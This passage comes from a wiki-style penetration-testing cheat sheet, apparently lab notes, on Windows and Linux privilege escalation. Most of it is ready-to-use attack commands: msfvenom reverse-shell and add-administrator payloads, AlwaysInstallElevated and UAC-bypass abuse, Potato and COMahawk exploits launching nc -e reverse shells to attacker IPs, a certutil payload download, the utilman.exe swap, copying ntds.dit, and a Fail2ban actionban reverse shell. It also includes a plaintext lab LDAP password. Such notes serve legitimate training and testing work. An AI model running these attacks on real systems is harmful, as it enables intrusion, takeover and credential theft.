&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated&lt;br /&gt;
# If 0x1 then its enabled&lt;br /&gt;
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated&lt;br /&gt;
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated&lt;br /&gt;
&lt;br /&gt;
# Msfvenom payload&lt;br /&gt;
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format&lt;br /&gt;
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted&lt;br /&gt;
# The above is better for persistence&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.54.122 LPORT=443 -f msi &amp;gt; rev_shell.msi # Recommeded if not AD.&lt;br /&gt;
# Execute&lt;br /&gt;
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi&lt;br /&gt;
&lt;br /&gt;
----------------&lt;br /&gt;
# The above command will probably be detected by AV. You can compile your own .msi.&lt;br /&gt;
https://github.com/KINGSABRI/MSI-AlwaysInstallElevated&lt;br /&gt;
PS C:\WiX Toolset v3.11\bin&amp;gt; .\candle.exe .\msiexploit.wxs; .\light.exe .\msiexploit.wixobj`)&lt;br /&gt;
-------------------------------------------&lt;br /&gt;
# You can also use MSI Wrapper.&lt;br /&gt;
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/msi-wrapper&lt;br /&gt;
------------------------------------------&lt;br /&gt;
# There is also a metasploit module, but it needs a bit tweaking&lt;br /&gt;
exploit/windows/local/always_install_elevated&lt;br /&gt;
# In the multi handler do the following&lt;br /&gt;
set DisablePayloadHandler true - # Disable built-in listener&lt;br /&gt;
set ExitOnSession false - # The MSI target to existing meterpreter encoded payload&lt;br /&gt;
run -j -z - # Background listener&lt;br /&gt;
msf6 exploit(multi/handler) &amp;gt; use exploit/windows/local/always_install_elevated&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set VERBOSE true&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set payload windows/exec&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set session 1&lt;br /&gt;
# The encoded powershell command do &#039;whoami &amp;gt; C:\whoami.txt&#039; to verify that it works&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set cmd &#039;powershell -enc dwBoAG8AYQBtAGkAIAA+ACAAQwA6AFwAdwBoAG8AYQBtAGkALgB0AHgAdAA=&#039;&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; run&lt;br /&gt;
# Now to get a meterpreter shell, upload your payload. Ex. proc_hol.exe and run&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set cmd &#039;C:\proc_hol.exe&#039;&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; run&lt;br /&gt;
# You should get a callback to your meterpreter listener.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/?page_id=1809#Executing_MSI_on_Windows Execute MSI files on Windows]&lt;br /&gt;
&lt;br /&gt;
==== BarracudaDrive 6.5 ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://packetstormsecurity.com/files/158812/BarracudaDrive-6.5-Local-Privilege-Escalation.html&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Bypass UAC ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/k4sth4/UAC-bypass https://github.com/k4sth4/UAC-bypass]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Check group memberships. If the user is member of Administrator group but have Medium mandteroy  Level shell, we might bypass uac.&lt;br /&gt;
# Notice the last line, &amp;quot;Mandatory Label\Medium Mandatory Level&amp;quot;&lt;br /&gt;
whoami /groups&lt;br /&gt;
GROUP INFORMATION&lt;br /&gt;
-----------------&lt;br /&gt;
Group Name                                 Type             SID          Attributes&lt;br /&gt;
========================================== ================ ============ ==================================================&lt;br /&gt;
Everyone                                   Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
BUILTIN\Administrators                     Alias            S-1-5-32-544 Group used for deny only&lt;br /&gt;
BUILTIN\Users                              Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
NT AUTHORITY\INTERACTIVE                   Well-known group S-1-5-4      Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
CONSOLE LOGON                              Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
NT AUTHORITY\This Organization             Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
LOCAL                                      Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
Authentication authority asserted identity Well-known group S-1-18-1     Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
Mandatory Label\Medium Mandatory Level     Label            S-1-16-8192&lt;br /&gt;
&lt;br /&gt;
# Next check if UAC is enabled&lt;br /&gt;
# If EnableLUA and PromptOnSecureDesktop is set to 1, that means its enabled.&lt;br /&gt;
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System&lt;br /&gt;
# We then have to find a binary that have &amp;quot;autoElevate&amp;quot; set to true.&lt;br /&gt;
# Download strings windows binary here https://github.com/k4sth4/UAC-bypass/blob/main/strings64.exe. (Same as linux)&lt;br /&gt;
.\strings64.exe -accepteula C:\\Windows\System32\eventvwr.exe | findstr /i autoelevate&lt;br /&gt;
        true&lt;br /&gt;
# Then we have to generate a payload using msfvenom.&lt;br /&gt;
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.x.x LPORT=443 -f exe &amp;gt; shell.exe&lt;br /&gt;
# In this instance we are abusing eventvwr. https://github.com/k4sth4/UAC-bypass/blob/main/eventvwr-bypassuac.c&lt;br /&gt;
# Compile the above code&lt;br /&gt;
x86_64-w64-mingw32-gcc eventvwr-bypassuac.c -o eventvwr-bypassuac-64.exe&lt;br /&gt;
# Transfer the binary to target and execute&lt;br /&gt;
.\eventvwr-bypassuac-64.exe&lt;br /&gt;
# Check your listener and then run &amp;quot;whoami /groups&amp;quot; again and check last line.&lt;br /&gt;
Mandatory Label\High Mandatory Level       Label            S-1-16-12288&lt;br /&gt;
# This means you can run elevated commands. Dumping hashes etc.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== CVE ====&lt;br /&gt;
&lt;br /&gt;
===== CVE-2019-1405 and CVE-2019-1322 (COMahawk) =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/apt69/COMahawk&lt;br /&gt;
# An elevation of privilege vulnerability exists when the Windows Universal Plug and Play (UPnP) service improperly allows COM object creation, aka &#039;Windows UPnP Service Elevation of Privilege Vulnerability&#039;.&lt;br /&gt;
# Method 1&lt;br /&gt;
.\COMahawk64.exe&lt;br /&gt;
[\] Progress:  1/9 2/9 3/9 4/9 5/9 6/9 7/9 8/9 9/9&lt;br /&gt;
[+] Hopefully Tomahawk:RibSt3ak69 is added as an admin.&lt;br /&gt;
# Method 2&lt;br /&gt;
.\COMahawk64.exe &amp;quot;C:\\users\\public\\documents\\nc64.exe -e cmd.exe 192.168.1.123 443&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== HiveNightmare ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/GossiTheDog/HiveNightmare&lt;br /&gt;
# Works on all supported versions of Windows 10, where System Protection is enabled (should be enabled by default in most configurations).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== LAPS ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If we have valid creds for LDAP we can query LDAP for the local admin password.&lt;br /&gt;
ldapsearch -v -x -D fmcsorley@HUTCH.OFFSEC -w CrabSharkJellyfish192 -b &amp;quot;DC=hutch,DC=offsec&amp;quot; -h 192.168.120.108 &amp;quot;(ms-MCS-AdmPwd=*)&amp;quot; ms-MCS-AdmPwd&lt;br /&gt;
# LAPS is a tool that periodically changes the local administrator&#039;s password when it expires. It then stores the password details in the Active Directory.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Potatos (SeimpersonatePrivilege) ====&lt;br /&gt;
&lt;br /&gt;
[https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html#hotPotato Source]&lt;br /&gt;
&lt;br /&gt;
* If the machine is &amp;gt;= Windows 10 1809 &amp;amp; Windows Server 2019 - Try [https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html#roguePotato Rogue Potato]&lt;br /&gt;
&lt;br /&gt;
* If the machine is &amp;lt; Windows 10 1809 &amp;lt; Windows Server 2019 - Try [https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html#juicyPotato Juicy Potato]&lt;br /&gt;
&lt;br /&gt;
===== Finding CLSID =====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/ohpe/juicy-potato/tree/master/CLSID https://github.com/ohpe/juicy-potato/tree/master/CLSID]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
function Lookup-Clsid&lt;br /&gt;
{&lt;br /&gt;
    Param([string]$clsid)&lt;br /&gt;
    $CLSID_KEY = &#039;HKLM:\SOFTWARE\Classes\CLSID&#039;&lt;br /&gt;
    If ( Test-Path $CLSID_KEY\$clsid) {&lt;br /&gt;
        $name = (Get-ItemProperty -Path $CLSID_KEY\$clsid).&#039;(default)&#039;&lt;br /&gt;
        $dll = (Get-ItemProperty -Path $CLSID_KEY\$clsid\InProcServer32).&#039;(default)&#039;&lt;br /&gt;
    }&lt;br /&gt;
    $name, $dll&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Hot Potato =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Download binary&lt;br /&gt;
https://github.com/foxglovesec/Potato&lt;br /&gt;
Potato.exe -ip -cmd [cmd to run] -disable_exhaust true -disable_defender true&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Rotten Potato =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Download binary&lt;br /&gt;
https://github.com/breenmachine/RottenPotatoNG&lt;br /&gt;
After having a meterpreter shell with incognito mode loaded:&lt;br /&gt;
MSFRottenPotato.exe t c:\windows\temp\test.bat&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Lonely Potato =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Lonely Potato is deprecated and after visiting the repository, there is an indication to move to Juicy Potato.&lt;br /&gt;
https://github.com/decoder-it/lonelypotato&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Juicy Potato or Churrasco (SeImpersonate or SeAssignPrimaryToken) =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Download repository&lt;br /&gt;
https://github.com/ohpe/juicy-potato&lt;br /&gt;
https://github.com/antonioCoco/JuicyPotatoNG&lt;br /&gt;
juicypotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}&lt;br /&gt;
.\JuicyPotatoNG.exe -t * -p C:\users\public\documents\shell1.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Rogue Potato =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Download binary&lt;br /&gt;
https://github.com/antonioCoco/RoguePotato&lt;br /&gt;
# Run in your machine the socat redirection (replace VICTIM_IP):&lt;br /&gt;
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999&lt;br /&gt;
# Execute PoC (replace YOUR_IP and command):&lt;br /&gt;
.\RoguePotato.exe -r YOUR_IP -e &amp;quot;command&amp;quot; -l 9999&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== GodPotato =====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/BeichenDream/GodPotato BeichenDream/GodPotato (github.com)]&lt;br /&gt;
&lt;br /&gt;
Enables privilege escalation in Windows 2012 - Windows 2022&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
GodPotato -cmd &amp;quot;cmd /c whoami&amp;quot;&lt;br /&gt;
GodPotato -cmd &amp;quot;nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SharpEfsPotato =====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/bugch3ck/SharpEfsPotato bugch3ck/SharpEfsPotato: Local privilege escalation from SeImpersonatePrivilege using EfsRpc. (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a &amp;quot;whoami | Set-Content C:\temp\w.log&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== PrintSpoofer =====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/dievus/printspoofer https://github.com/dievus/printspoofer]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# PrintSpoofer exploit that can be used to escalate service user permissions on Windows Server 2016, Server 2019, and Windows 10.&lt;br /&gt;
# To escalate privileges, the service account must have SeImpersonate privileges. To execute:&lt;br /&gt;
PrintSpoofer.exe -i -c cmd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Se-privileges ====&lt;br /&gt;
&lt;br /&gt;
===== Great list and explanation =====&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2022/12/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System][https://blog.aghanim.net/wp-content/uploads/2022/12/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf Download]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# This ppt will explain how to exploit different SePrivileges&lt;br /&gt;
https://hackinparis.com/data/slides/2019/talks/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SeManageVolume =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/xct/SeManageVolumeAbuse&lt;br /&gt;
https://0xdf.gitlab.io/2021/11/08/htb-pivotapi-more.html#sebackupvolume&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SeLoadDriverPrivilege =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See writeup for PG Fuse&lt;br /&gt;
# It allows the user to load kernel drivers and execute code with kernel privilges aka NT\System&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SeRestorePrivilege =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# SeRestorePrivilege privilege allows a user to circumvent file and directory permissions when restoring backed up files and directories, thus giving the user read and write access to system files.&lt;br /&gt;
# See PG Heist writeup&lt;br /&gt;
# This script Enables SeRestorePrivilege for our current (powershell/ise) session.&lt;br /&gt;
https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1&lt;br /&gt;
# You can modify services, DLL Hijacking, set debugger (Image File Execution Options)… A lot of options to escalate.&lt;br /&gt;
# Example of ways to escalate privilege&lt;br /&gt;
# Utilman.exe. This application is triggered by issuing the WIN + U in windows lockscreen&lt;br /&gt;
move C:\Windows\System32\utilman.exe C:\Windows\System32\utilman.old&lt;br /&gt;
move C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe&lt;br /&gt;
# Now RDP to target without logging in. Then press win+u&lt;br /&gt;
rdesktop 192.168.153.165&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-11-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
===== SeBackupPrivilege =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# SeBackUpPrivilege basically allows for full system read.&lt;br /&gt;
# See if user is member of &#039;Backup Operator&#039;.&lt;br /&gt;
# https://hackinparis.com/data/slides/2019/talks/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf&lt;br /&gt;
# https://github.com/giuliano108/SeBackupPrivilege&lt;br /&gt;
# Example 1&lt;br /&gt;
PS C:\scripts&amp;gt; Import-Module .\SeBackupPrivilegeUtils.dll&lt;br /&gt;
PS C:\scripts&amp;gt; Import-Module .\SeBackupPrivilegeCmdLets.dll&lt;br /&gt;
PS C:\scripts&amp;gt; Get-SeBackupPrivilege # ...or whoami /priv | findstr Backup&lt;br /&gt;
SeBackupPrivilege is disabled&lt;br /&gt;
PS C:\scripts&amp;gt; dir E:\V_BASE&lt;br /&gt;
Get-ChildItem : Access to the path &#039;E:\V_BASE&#039; is denied.&lt;br /&gt;
At line:1 char:4&lt;br /&gt;
+ dir  Set-SeBackupPrivilege&lt;br /&gt;
PS C:\scripts&amp;gt; Get-SeBackupPrivilege&lt;br /&gt;
SeBackupPrivilege is enabled&lt;br /&gt;
PS C:\scripts&amp;gt; dir E:\V_BASE # ...having enabled the privilege, this now works&lt;br /&gt;
&lt;br /&gt;
    Directory: E:\V_BASE&lt;br /&gt;
&lt;br /&gt;
Mode                LastWriteTime     Length Name&lt;br /&gt;
----                -------------     ------ ----&lt;br /&gt;
d----        18/07/2013     13:04            Private&lt;br /&gt;
PS C:\scripts&amp;gt; cd E:\V_BASE\Private&lt;br /&gt;
PS E:\V_BASE\Private&amp;gt; dir&lt;br /&gt;
&lt;br /&gt;
    Directory: E:\V_BASE\Private&lt;br /&gt;
&lt;br /&gt;
Mode                LastWriteTime     Length Name&lt;br /&gt;
----                -------------     ------ ----&lt;br /&gt;
-----        05/07/2013     12:29     306435 report.pdf&lt;br /&gt;
PS E:\V_BASE\Private&amp;gt; Copy-FileSeBackupPrivilege .\report.pdf c:\temp\x.pdf -Overwrite&lt;br /&gt;
Copied 306435 bytes&lt;br /&gt;
PS E:\V_BASE\Private&amp;gt;&lt;br /&gt;
&lt;br /&gt;
-------------------&lt;br /&gt;
# Example 2&lt;br /&gt;
Copy-FileSeBackupPrivilege netlogon.dns \programdata\netlogon.dns&lt;br /&gt;
Copy-FileSeBackupPrivilege C:\Windows\ntds\ntds.dit .&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SeCreateTokenPrivilege =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://www.greyhathacker.net/?p=1025&lt;br /&gt;
Try running it many times&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SMBGhost ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# CVE-2020-0796&lt;br /&gt;
# https://github.com/danigargu/CVE-2020-0796&lt;br /&gt;
# Compile it with Visual Studios. Change payload in exploit.cpp line 204 and add msfvenom payload&lt;br /&gt;
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.49.60 LPORT=8081 -f dll -f csharp&lt;br /&gt;
# Compile it. Change &#039;debug&#039; to &#039;release&#039;, set correct architecture.&lt;br /&gt;
# Transfer to target&lt;br /&gt;
.\cve-2020-0796.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Software ====&lt;br /&gt;
&lt;br /&gt;
===== Iperius Backup 6.1.0 =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/46863&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SystemScheduler =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/45072&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Unquoted Service Path ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# In order to exploit Unquoted service path we have to:&lt;br /&gt;
# - Be able to write to the target folder - Use icacls&lt;br /&gt;
# - Be able to restart the service or machine&lt;br /&gt;
# Exmaple (10.1.1.89)&lt;br /&gt;
icacls enterprisesystemmanager.exe # We have modify permissions&lt;br /&gt;
# Generate a payload&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.130 LPORT=443 -f exe &amp;gt; enterprisesystemmanager.exe&lt;br /&gt;
# Move original .exe to .bak&lt;br /&gt;
 move enterprisesystemmanager.exe enterprisesystemmanger.exe.bak&lt;br /&gt;
# Transfer our payload to target location - C:\exacqVisionEsm\EnterpriseSystemManager&lt;br /&gt;
certutil -urlcache -split -f &amp;quot;http://192.168.119.130/enterprisesystemmanager.exe&amp;quot;&lt;br /&gt;
# Catche the connection&lt;br /&gt;
rlwrap nc -lvnp 443                                                                                                                                  1 ⨯&lt;br /&gt;
listening on [any] 443 ...&lt;br /&gt;
connect to [192.168.119.130] from (UNKNOWN) [10.11.1.251] 19085&lt;br /&gt;
Microsoft Windows [Version 10.0.15063]&lt;br /&gt;
(c) 2017 Microsoft Corporation. All rights reserved.&lt;br /&gt;
C:\Windows\system32&amp;gt;whoami&lt;br /&gt;
whoami&lt;br /&gt;
nt authority\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Windows XP SP0/SP1 - UPNP service exploit ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://sohvaxus.github.io/content/winxp-sp1-privesc.html&lt;br /&gt;
# Requirenment: Obtained a low privilege shell on your victim&#039;s computer. Operating system is Windows XP with SP0 or SP1 installed.&lt;br /&gt;
# See write up for PWK 10.11.1.14.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Windows Exploit Suggester ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
python2 windows-exploit-suggester.py --systeminfo sys.txt -d 2022-01-14-mssb.xls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Windows Kernel Exploit list ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/SecWiki/windows-kernel-exploits&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== xampp 7.3 ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/PG/monster]&lt;br /&gt;
└─# cat exploit.ps1&lt;br /&gt;
# Exploit Title: XAMPP 7.4.3 - Local Privilege Escalation&lt;br /&gt;
# Exploit Author: Salman Asad (@LeoBreaker1411 / deathflash1411)&lt;br /&gt;
# Original Author: Maximilian Barz (@S1lkys)&lt;br /&gt;
# Date: 27/09/2021&lt;br /&gt;
# Vendor Homepage: https://www.apachefriends.org&lt;br /&gt;
# Version: XAMPP &amp;lt; 7.2.29, 7.3.x &amp;lt; 7.3.16 &amp;amp; 7.4.x &amp;lt; 7.4.4&lt;br /&gt;
# Tested on: Windows 10 + XAMPP 7.3.10&lt;br /&gt;
# References: https://github.com/S1lkys/CVE-2020-11107&lt;br /&gt;
$file = &amp;quot;C:\xampp\xampp-control.ini&amp;quot;&lt;br /&gt;
$find = ((Get-Content $file)[2] -Split &amp;quot;=&amp;quot;)[1]&lt;br /&gt;
# Insert your payload path here&lt;br /&gt;
$replace = &amp;quot;C:\Users\Mike\Downloads\rev.exe&amp;quot;&lt;br /&gt;
(Get-Content $file) -replace $find, $replace | Set-Content $fil&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
==== CVE ====&lt;br /&gt;
&lt;br /&gt;
===== CVE-2009-2698 (Centos 4.8) =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/xiaoxiaoleo/CVE-2009-2698&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== CVE-2021-4034 (polkit) =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/joeammond/CVE-2021-4034&lt;br /&gt;
# Check suid and see if /usr/bin/pkexec is present and python&lt;br /&gt;
# Then compile and run&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== CVE-2023–22809 (bypass sudo) =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://medium.com/@dev.nest/how-to-bypass-sudo-exploit-cve-2023-22809-vulnerability-296ef10a1466&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Fail2ban ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See PG Fail writeup&lt;br /&gt;
# Example reverse shell&lt;br /&gt;
# Option:  actionban&lt;br /&gt;
# Notes.:  command executed when banning an IP. Take care that the&lt;br /&gt;
#          command is executed with Fail2Ban user rights.&lt;br /&gt;
# Tags:    See jail.conf(5) man page&lt;br /&gt;
# Values:  CMD&lt;br /&gt;
#&lt;br /&gt;
#actionban =  -I f2b- 1 -s  -j&lt;br /&gt;
actionban = /usr/bin/nc -e /bin/sh 192.168.49.243 9999&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Linux Kernel exploits ====&lt;br /&gt;
&lt;br /&gt;
